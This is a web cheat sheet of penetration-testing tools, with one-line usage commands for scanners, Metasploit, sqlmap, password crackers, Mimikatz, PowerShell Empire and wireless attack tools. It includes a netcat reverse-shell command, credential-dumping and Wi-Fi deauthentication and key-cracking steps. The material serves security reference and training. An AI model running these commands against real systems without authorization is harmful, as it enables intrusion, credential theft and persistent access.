CHEAT SHEETS HERO

Ethical Hacking Tools Cheatsheet

A comprehensive cheat sheet covering essential tools used in ethical hacking, their functionalities, and common use cases. This serves as a quick reference for penetration testers and security professionals.

Reconnaissance Tools

Network Scanning

Nmap (Network Mapper)	A versatile tool for network discovery and security auditing. It can identify hosts, services, operating systems, and firewall rules. **Usage:** `nmap -sV -A target_ip`
Zenmap	The GUI version of Nmap, providing a user-friendly interface for complex scans and visualizing network topologies. **Usage:** Launch Zenmap and configure scan profiles.
Masscan	A high-speed port scanner designed for scanning large networks quickly. **Usage:** `masscan -p1-65535 target_ip/24`
Netdiscover	An active/passive ARP reconnaissance tool. **Usage:** `netdiscover -i eth0 -r 192.168.1.0/24`
Hping3	A command-line packet analyzer/assembler. **Usage:** `hping3 -S target_ip -p 80`

Vulnerability Scanning

Nessus	A comprehensive vulnerability scanner that identifies security flaws, missing patches, and malware. **Usage:** Configure scan policies and target IPs via the Nessus web interface.
OpenVAS	An open-source vulnerability scanner that performs comprehensive security assessments. **Usage:** Set up scan targets and schedules via the OpenVAS web interface.
Nikto	A web server scanner which performs comprehensive tests against web servers for multiple items, including dangerous files/CGIs, outdated server software and other problems. **Usage:** `nikto -h target_url`

Web Reconnaissance

Dirbuster	A Java application used to brute-force directories and files on web servers. **Usage:** Configure the target URL and wordlist in Dirbuster's GUI.
Wappalyzer	A browser extension that identifies technologies used on a website. **Usage:** Install the Wappalyzer extension and visit the target website.
WhatWeb	A website fingerprinting tool that identifies technologies and CMS versions. **Usage:** `whatweb target_url`

Exploitation Tools

Exploitation Frameworks

Metasploit	A powerful framework for developing and executing exploit code against a remote target. **Usage:** `msfconsole` to launch, then use `search`, `use`, `set`, and `exploit` commands.
Armitage	A GUI front-end for Metasploit, simplifying exploit selection and management. **Usage:** Launch Armitage and connect to a Metasploit instance.
Core Impact	A commercial penetration testing tool that automates vulnerability assessment and exploitation. **Usage:** Configure targets and run automated assessments via the Core Impact GUI.

Web Application Exploitation

Burp Suite	An integrated platform for performing security testing of web applications. **Usage:** Configure Burp Suite as a proxy and intercept web traffic to analyze and modify requests.
OWASP ZAP	A free, open-source web application security scanner. **Usage:** Configure ZAP as a proxy and use automated or manual testing features.
SQLMap	An automated SQL injection tool that detects and exploits SQL injection vulnerabilities. **Usage:** `sqlmap -u target_url --dbs`

Password Cracking

John the Ripper	A fast password cracker that supports multiple hash types. **Usage:** `john --wordlist=wordlist.txt hash_file`
Hashcat	An advanced password recovery tool with GPU acceleration. **Usage:** `hashcat -m hash_type hash_file wordlist.txt`

Post-Exploitation Tools

Privilege Escalation

LinEnum.sh	A script to enumerate information from Linux systems for privilege escalation. **Usage:** Transfer the script to the target, make it executable, and run it.
Windows Exploit Suggester (wes.py)	A Python script to suggest potential exploits for Windows systems based on patch levels. **Usage:** Run the script against systeminfo output.

Data Extraction

Mimikatz	A tool to extract plaintext passwords, hash, PIN codes and kerberos tickets from memory. **Usage:** Load Mimikatz module in Metasploit or run directly on the target.
PowerShell Empire	A post-exploitation framework for PowerShell, enabling data exfiltration and persistence. **Usage:** Set up Empire server and agents on the target.

Maintaining Access

Reverse Shells	Establish a reverse shell for persistent access. **Example:** `nc -lvp 4444` (listener) and `nc target_ip 4444 -e /bin/sh` (target)
Cron Jobs	Schedule tasks for persistent access. **Usage:** `crontab -e` to edit cron jobs.

Wireless Hacking Tools

Wireless Reconnaissance

Aircrack-ng Suite	A complete suite of tools for wireless network assessment. **Tools:** `airodump-ng`, `aireplay-ng`, `aircrack-ng`.
Kismet	A wireless network detector, sniffer, and intrusion detection system. **Usage:** Run Kismet to passively collect wireless network data.

Wireless Exploitation

Aireplay-ng	Used to inject packets, useful for deauthenticating clients or generating traffic. **Usage:** `aireplay-ng -0 1 -a AP_MAC -c CLIENT_MAC wlan0`
Aircrack-ng	Used to crack WEP and WPA/WPA2-PSK keys. **Usage:** `aircrack-ng -w wordlist.txt capture.cap`

Bluetooth Hacking

Bluelog	Discovers Bluetooth devices. **Usage:** Run Bluelog to scan for nearby Bluetooth devices.
Bluesnarfer	Exploits Bluetooth vulnerabilities to access data. **Usage:** Bluesnarfer target_MAC